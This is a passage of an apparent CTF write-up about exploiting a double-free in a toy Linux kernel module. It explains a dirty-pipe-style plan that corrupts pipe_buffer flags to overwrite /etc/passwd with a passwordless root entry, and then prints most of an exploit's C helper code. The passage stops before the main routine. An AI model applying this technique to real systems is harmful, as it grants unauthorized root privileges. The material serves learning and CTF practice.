<span class="k">static</span> <span class="kt">ssize_t</span> <span class="nf">rose_read</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">filp</span><span class="p">,</span> <span class="kt">char</span> <span class="n">__user</span> <span class="o">*</span><span class="n">buffer</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">length</span><span class="p">,</span> <span class="n">loff_t</span> <span class="o">*</span><span class="n">offset</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">pr_info</span><span class="p">(</span><span class="s">"Wall Rose: data dropped"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">ssize_t</span> <span class="nf">rose_write</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">filp</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="n">__user</span> <span class="o">*</span><span class="n">buffer</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">length</span><span class="p">,</span> <span class="n">loff_t</span> <span class="o">*</span><span class="n">offset</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">pr_info</span><span class="p">(</span><span class="s">"Wall Rose: data dropped"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="k">struct</span> <span class="n">file_operations</span> <span class="n">rose_fops</span> <span class="o">=</span> <span class="p">{</span>
    <span class="p">.</span><span class="n">owner</span> <span class="o">=</span> <span class="n">THIS_MODULE</span><span class="p">,</span>
    <span class="p">.</span><span class="n">open</span> <span class="o">=</span> <span class="n">rose_open</span><span class="p">,</span>
    <span class="p">.</span><span class="n">release</span> <span class="o">=</span> <span class="n">rose_release</span><span class="p">,</span>
    <span class="p">.</span><span class="n">read</span> <span class="o">=</span> <span class="n">rose_read</span><span class="p">,</span>
    <span class="p">.</span><span class="n">write</span> <span class="o">=</span> <span class="n">rose_write</span><span class="p">,</span>
<span class="p">};</span>

<span class="k">static</span> <span class="k">struct</span> <span class="n">miscdevice</span> <span class="n">rose_device</span> <span class="o">=</span> <span class="p">{</span>
    <span class="p">.</span><span class="n">minor</span> <span class="o">=</span> <span class="n">MISC_DYNAMIC_MINOR</span><span class="p">,</span>
    <span class="p">.</span><span class="n">name</span> <span class="o">=</span> <span class="s">"rose"</span><span class="p">,</span>
    <span class="p">.</span><span class="n">fops</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">rose_fops</span><span class="p">,</span>
<span class="p">};</span>

<span class="k">static</span> <span class="kt">int</span> <span class="n">__init</span> <span class="nf">rose_init</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="n">misc_register</span><span class="p">(</span><span class="o">&amp;</span><span class="n">rose_device</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="n">__exit</span> <span class="nf">rose_exit</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">misc_deregister</span><span class="p">(</span><span class="o">&amp;</span><span class="n">rose_device</span><span class="p">);</span>
<span class="p">}</span>

<span class="n">module_init</span><span class="p">(</span><span class="n">rose_init</span><span class="p">);</span>
<span class="n">module_exit</span><span class="p">(</span><span class="n">rose_exit</span><span class="p">);</span>
</code></pre></div></div>

<p>We can’t do anything other than opening and closing the device. Read and write both do nothing.</p>

<h3 id="bug-1">Bug</h3>
<p>The bug is very simple as well. We can free the last allocated chunk many times by opening the module multiple times and then closing it multiple times. Since the data chunk is 0x400 bytes big, this means we can free arbitrary objects in the kmalloc-1024 slab.</p>

<h3 id="exploitation-1">Exploitation</h3>
<p>A special thing about this challenge was that it had <code class="language-plaintext highlighter-rouge">CONFIG_FG_KASLR</code> (function granular KASLR) enabled. This configuration enables finer grained kernel address space randomization on a per-function level granularity. This means that obtaining a kernel base leak is not as easy as simply leaking e.g. an <code class="language-plaintext highlighter-rouge">ops</code> pointer and subtracting an offset. Furthermore, we can’t open <code class="language-plaintext highlighter-rouge">/dev/ptmx</code> which prevents us from leveraging <code class="language-plaintext highlighter-rouge">tty_struct</code> for exploitation.</p>

<p>Given these circumstances, using an exploitation technique which doesn’t require a kernel leak seemed like a good idea. One interesting structure for this is the <code class="language-plaintext highlighter-rouge">pipe_buffer</code> struct which gets allocated when using pipes. If we are able to corrupt such a struct we can emulate the dirty pipe vulnerability and corrupt <code class="language-plaintext highlighter-rouge">/etc/passwd</code>. For background information on dirty pipe, refer to <a href="https://lolcads.github.io/posts/2022/06/dirty_pipe_cve_2022_0847/">this</a> post.</p>

<p>So the basic plan is:</p>
<ol>
  <li>Allocate a bunch of pipes</li>
  <li>Call splice on them with a fd for <code class="language-plaintext highlighter-rouge">/etc/passwd</code> to create a file-backed <code class="language-plaintext highlighter-rouge">pipe_buffer</code></li>
  <li>Corrupt the <code class="language-plaintext highlighter-rouge">flags</code> member of the <code class="language-plaintext highlighter-rouge">pipe_buffer</code> to <code class="language-plaintext highlighter-rouge">PIPE_BUF_FLAG_CAN_MERGE</code> (0x10)</li>
  <li>Write root user without password to <code class="language-plaintext highlighter-rouge">/etc/passwd</code></li>
  <li>Win</li>
</ol>

<p>Looking at the <code class="language-plaintext highlighter-rouge">pipe_buffer</code> struct, we see that the <code class="language-plaintext highlighter-rouge">flags</code> member is at offset 24:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">pipe_buffer</span> <span class="p">{</span>
	<span class="k">struct</span> <span class="n">page</span> <span class="o">*</span><span class="n">page</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">offset</span><span class="p">,</span> <span class="n">len</span><span class="p">;</span>
	<span class="k">const</span> <span class="k">struct</span> <span class="n">pipe_buf_operations</span> <span class="o">*</span><span class="n">ops</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">flags</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">private</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>

<p>So to corrupt the <code class="language-plaintext highlighter-rouge">flags</code> member while keeping the struct valid, we need to leak pointers first.</p>

<p><strong>Leaking pointers of a file-backed pipe_buffer</strong></p>

<p>To leak pointers we can free a <code class="language-plaintext highlighter-rouge">user_key_payload</code> struct using the bug of the module and corrupt it with a <code class="language-plaintext highlighter-rouge">msg_msg</code> struct. Both are elastic objects so we can make them go into the kmalloc-1024 slab.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">msg_msg</span> <span class="p">{</span>
	<span class="k">struct</span> <span class="n">list_head</span> <span class="n">m_list</span><span class="p">;</span>
	<span class="kt">long</span> <span class="n">m_type</span><span class="p">;</span>
	<span class="kt">size_t</span> <span class="n">m_ts</span><span class="p">;</span>		<span class="cm">/* message text size */</span>
	<span class="k">struct</span> <span class="n">msg_msgseg</span> <span class="o">*</span><span class="n">next</span><span class="p">;</span>
	<span class="kt">void</span> <span class="o">*</span><span class="n">security</span><span class="p">;</span>
	<span class="cm">/* the actual message follows immediately */</span>
<span class="p">};</span>

<span class="k">struct</span> <span class="n">user_key_payload</span> <span class="p">{</span>
	<span class="k">struct</span> <span class="n">rcu_head</span>	<span class="n">rcu</span><span class="p">;</span>		<span class="cm">/* RCU destructor */</span>
	<span class="kt">unsigned</span> <span class="kt">short</span>	<span class="n">datalen</span><span class="p">;</span>	<span class="cm">/* length of this data */</span>
	<span class="kt">char</span>		<span class="n">data</span><span class="p">[]</span> <span class="n">__aligned</span><span class="p">(</span><span class="n">__alignof__</span><span class="p">(</span><span class="n">u64</span><span class="p">));</span> <span class="cm">/* actual data */</span>
<span class="p">};</span>
</code></pre></div></div>

<p>If we free a <code class="language-plaintext highlighter-rouge">user_key_payload</code> struct and then corrupt it by allocating a <code class="language-plaintext highlighter-rouge">msg_msg</code> struct on top of it, the <code class="language-plaintext highlighter-rouge">datalen</code> field will be overwritten by the <code class="language-plaintext highlighter-rouge">m_type</code> field of the <code class="language-plaintext highlighter-rouge">msg_msg</code> struct. By choosing a big enough number for the type of our msg, we can use this to achieve oor.</p>

<p>Once we have an out of bounds read on the heap, we can use this to leak <code class="language-plaintext highlighter-rouge">pipe_buffer</code> pointers.</p>

<p><strong>Corrupting file-backed pipe_buffer</strong></p>

<p>Having obtained valid pointers for a file-backed <code class="language-plaintext highlighter-rouge">pipe_buffer</code> we can then simply overwrite another file-backed <code class="language-plaintext highlighter-rouge">pipe_buffer</code> using either <code class="language-plaintext highlighter-rouge">msg_msg</code> struct or <code class="language-plaintext highlighter-rouge">user_key_payload</code>.</p>

<h3 id="exploit-1">Exploit</h3>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define _GNU_SOURCE
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/mman.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/timerfd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/msg.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdint.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/syscall.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/keyctl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;limits.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdarg.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/xattr.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdbool.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sched.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;errno.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/wait.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/prctl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/resource.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/msg.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/timerfd.h&gt;</span><span class="cp">
</span>
<span class="cp">#define DEV_PATH "/dev/rose"   // the path the device is placed
</span>
<span class="cp">#define ulong unsigned long
#define PAGE_SZ 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
#define ARRAY_SIZE(a) (sizeof((a)) / sizeof((a)[0]))
#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000
</span>
<span class="cp">#define WAIT(void) {getc(stdin); \
                    fflush(stdin);}
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
</span>
<span class="cp">#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
                        if(msgsnd(qid, &amp;msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) \
                            errExit("KMALLOC"); \
                        }
</span>

<span class="kt">int</span> <span class="n">pipes</span><span class="p">[</span><span class="mh">0x1000</span><span class="p">][</span><span class="mh">0x02</span><span class="p">];</span>
<span class="kt">int</span> <span class="n">qids</span><span class="p">[</span><span class="mh">0x1000</span><span class="p">];</span>
<span class="kt">int</span> <span class="n">keys</span><span class="p">[</span><span class="mh">0x1000</span><span class="p">];</span>
<span class="kt">int</span> <span class="n">seq_ops</span><span class="p">[</span><span class="mh">0x10000</span><span class="p">];</span>
<span class="kt">int</span> <span class="n">ptmx</span><span class="p">[</span><span class="mh">0x1000</span><span class="p">];</span>
<span class="kt">int</span> <span class="n">n_keys</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="n">msg_msg_seg</span> <span class="n">msg_msg_seg_t</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">msg_msg_seg</span> <span class="p">{</span>
    <span class="n">msg_msg_seg_t</span><span class="o">*</span> <span class="n">next</span><span class="p">;</span>
<span class="p">};</span>

<span class="k">struct</span> <span class="n">rcu_head</span> <span class="p">{</span>
    <span class="kt">void</span> <span class="o">*</span><span class="n">next</span><span class="p">;</span>
    <span class="kt">void</span> <span class="o">*</span><span class="n">func</span><span class="p">;</span>
<span class="p">};</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="n">msg_msg</span> <span class="p">{</span>
    <span class="k">struct</span> <span class="n">rcu_head</span> <span class="n">m_list</span><span class="p">;</span>
    <span class="kt">long</span> <span class="n">m_type</span><span class="p">;</span>
    <span class="kt">size_t</span> <span class="n">m_ts</span><span class="p">;</span>      <span class="cm">/* message text size */</span>
    <span class="k">struct</span> <span class="n">msg_msgseg</span> <span class="o">*</span><span class="n">next</span><span class="p">;</span>
    <span class="kt">void</span> <span class="o">*</span><span class="n">security</span><span class="p">;</span>
    <span class="cm">/* the actual message follows immediately */</span>
<span class="p">}</span> <span class="n">msg_msg_t</span><span class="p">;</span>

<span class="c1">// size = 40</span>
<span class="k">typedef</span> <span class="k">struct</span>
<span class="p">{</span>
    <span class="kt">uint64_t</span> <span class="n">page</span><span class="p">;</span>
    <span class="kt">uint32_t</span> <span class="n">offset</span><span class="p">;</span>
    <span class="kt">uint32_t</span> <span class="n">len</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">ops</span><span class="p">;</span>
    <span class="kt">uint32_t</span> <span class="n">flags</span><span class="p">;</span>
    <span class="kt">uint32_t</span> <span class="n">padding</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">private</span><span class="p">;</span>
<span class="p">}</span><span class="n">pipe_buf_t</span><span class="p">;</span>

<span class="k">struct</span> <span class="n">user_key_payload</span> <span class="p">{</span>
    <span class="k">struct</span> <span class="n">rcu_head</span> <span class="n">rcu</span><span class="p">;</span>
    <span class="kt">unsigned</span> <span class="kt">short</span> <span class="n">datalen</span><span class="p">;</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">data</span><span class="p">[];</span>
<span class="p">};</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
    <span class="kt">long</span> <span class="n">kaslr_base</span><span class="p">;</span>
    <span class="kt">long</span> <span class="n">physmap_base</span><span class="p">;</span>
<span class="p">}</span> <span class="n">leak_t</span><span class="p">;</span>

<span class="k">typedef</span> <span class="kt">int32_t</span> <span class="n">key_serial_t</span><span class="p">;</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">alloc_qid</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">qids</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">msgget</span><span class="p">(</span><span class="n">IPC_PRIVATE</span><span class="p">,</span> <span class="mo">0666</span> <span class="o">|</span> <span class="n">IPC_CREAT</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">qids</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"[X] msgget"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">send_msg</span><span class="p">(</span><span class="kt">int</span> <span class="n">qid</span><span class="p">,</span> <span class="kt">int</span> <span class="n">c</span><span class="p">,</span> <span class="kt">int</span> <span class="n">size</span><span class="p">,</span> <span class="kt">long</span> <span class="n">type</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">struct</span> <span class="n">msgbuf</span>
    <span class="p">{</span>
        <span class="kt">long</span> <span class="n">mtype</span><span class="p">;</span>
        <span class="kt">char</span> <span class="n">mtext</span><span class="p">[</span><span class="n">size</span> <span class="o">-</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg_msg_t</span><span class="p">)];</span>
    <span class="p">}</span> <span class="n">msg</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">type</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">msg</span><span class="p">.</span><span class="n">mtype</span> <span class="o">=</span> <span class="mh">0xffff</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
        <span class="n">msg</span><span class="p">.</span><span class="n">mtype</span> <span class="o">=</span> <span class="n">type</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">memset</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">));</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">msgsnd</span><span class="p">(</span><span class="n">qid</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">msg</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">),</span> <span class="n">IPC_NOWAIT</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"msgsnd"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">send_msg_payload</span><span class="p">(</span><span class="kt">int</span> <span class="n">qid</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">buf</span><span class="p">,</span> <span class="kt">int</span> <span class="n">size</span><span class="p">,</span> <span class="kt">long</span> <span class="n">type</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">off</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg_msg_t</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">size</span> <span class="o">&gt;</span> <span class="n">PAGE_SZ</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">off</span> <span class="o">+=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg_msg_seg_t</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">struct</span> <span class="n">msgbuf</span>
    <span class="p">{</span>
        <span class="kt">long</span> <span class="n">mtype</span><span class="p">;</span>
        <span class="kt">char</span> <span class="n">mtext</span><span class="p">[</span><span class="n">size</span> <span class="o">-</span> <span class="n">off</span><span class="p">];</span>
    <span class="p">}</span> <span class="n">msg</span><span class="p">;</span>

    <span class="n">memcpy</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">));</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">type</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">msg</span><span class="p">.</span><span class="n">mtype</span> <span class="o">=</span> <span class="mh">0xffff</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
        <span class="n">msg</span><span class="p">.</span><span class="n">mtype</span> <span class="o">=</span> <span class="n">type</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">msgsnd</span><span class="p">(</span><span class="n">qid</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">msg</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">),</span> <span class="n">IPC_NOWAIT</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"msgsnd"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">recv_msg</span><span class="p">(</span><span class="kt">int</span> <span class="n">qid</span><span class="p">,</span> <span class="kt">void</span><span class="o">*</span> <span class="n">data</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">sz</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>
    <span class="k">struct</span> <span class="n">msg_buf</span>
    <span class="p">{</span>
        <span class="kt">long</span> <span class="n">mtype</span><span class="p">;</span>
        <span class="kt">char</span> <span class="n">mtext</span><span class="p">[</span><span class="n">sz</span> <span class="o">-</span> <span class="mh">0x30</span><span class="p">];</span>
    <span class="p">}</span> <span class="n">msg</span><span class="p">;</span>

    <span class="n">ret</span> <span class="o">=</span> <span class="n">msgrcv</span><span class="p">(</span><span class="n">qid</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">msg</span><span class="p">,</span> <span class="n">sz</span> <span class="o">-</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0xffff</span><span class="p">,</span> <span class="n">IPC_NOWAIT</span><span class="p">);</span>

    <span class="n">memmove</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">));</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"msgrcv"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">print_hex8</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">buf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">len</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">uint64_t</span><span class="o">*</span> <span class="n">tmp</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)</span><span class="n">buf</span><span class="p">;</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="p">(</span><span class="n">len</span> <span class="o">/</span> <span class="mi">8</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"%d: %p "</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">tmp</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
        <span class="k">if</span> <span class="p">((</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">alloc_tty</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">ptmx</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/dev/ptmx"</span><span class="p">,</span> <span class="n">O_RDWR</span> <span class="o">|</span> <span class="n">O_NOCTTY</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">ptmx</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"[X] alloc_tty"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">free_tty</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">close</span><span class="p">(</span><span class="n">ptmx</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"[X] free tty"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">static</span> <span class="n">bool</span> <span class="nf">is_kernel_ptr</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="n">val</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">val</span> <span class="o">&amp;</span> <span class="n">KERNEL_MASK</span><span class="p">)</span> <span class="o">==</span> <span class="n">KERNEL_MASK</span>
        <span class="o">&amp;&amp;</span> <span class="n">val</span> <span class="o">!=</span> <span class="mh">0xffffffffffffffff</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="n">bool</span> <span class="nf">is_heap_ptr</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="n">val</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">val</span> <span class="o">&amp;</span> <span class="n">HEAP_MASK</span><span class="p">)</span> <span class="o">==</span> <span class="n">HEAP_MASK</span>
        <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">val</span> <span class="o">&amp;</span> <span class="n">KERNEL_MASK</span><span class="p">)</span> <span class="o">!=</span> <span class="n">KERNEL_MASK</span>
        <span class="o">&amp;&amp;</span> <span class="n">val</span> <span class="o">!=</span> <span class="mh">0xffffffffffffffff</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">info</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">format</span><span class="p">,</span> <span class="p">...)</span> <span class="p">{</span>
    <span class="kt">va_list</span> <span class="n">args</span><span class="p">;</span>
    <span class="n">va_start</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">format</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] "</span><span class="p">);</span>
    <span class="n">vprintf</span><span class="p">(</span><span class="n">format</span><span class="p">,</span> <span class="n">args</span><span class="p">);</span>

    <span class="n">va_end</span><span class="p">(</span><span class="n">args</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">error</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">format</span><span class="p">,</span> <span class="p">...)</span> <span class="p">{</span>
    <span class="kt">va_list</span> <span class="n">args</span><span class="p">;</span>
    <span class="n">va_start</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">format</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"[x] "</span><span class="p">);</span>
    <span class="n">vprintf</span><span class="p">(</span><span class="n">format</span><span class="p">,</span> <span class="n">args</span><span class="p">);</span>

    <span class="n">va_end</span><span class="p">(</span><span class="n">args</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kr">inline</span> <span class="n">key_serial_t</span> <span class="nf">add_key</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">type</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">description</span><span class="p">,</span> <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">payload</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">plen</span><span class="p">,</span> <span class="n">key_serial_t</span> <span class="n">ringid</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">long</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">syscall</span><span class="p">(</span><span class="n">__NR_add_key</span><span class="p">,</span> <span class="n">type</span><span class="p">,</span> <span class="n">description</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">plen</span><span class="p">,</span> <span class="n">ringid</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"add_key"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kr">inline</span> <span class="kt">long</span> <span class="nf">keyctl</span><span class="p">(</span><span class="kt">int</span> <span class="n">operation</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">arg2</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">arg3</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">arg4</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">arg5</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="n">syscall</span><span class="p">(</span><span class="n">__NR_keyctl</span><span class="p">,</span> <span class="n">operation</span><span class="p">,</span> <span class="n">arg2</span><span class="p">,</span> <span class="n">arg3</span><span class="p">,</span> <span class="n">arg4</span><span class="p">,</span> <span class="n">arg5</span><span class="p">);</span>
<span class="p">}</span>

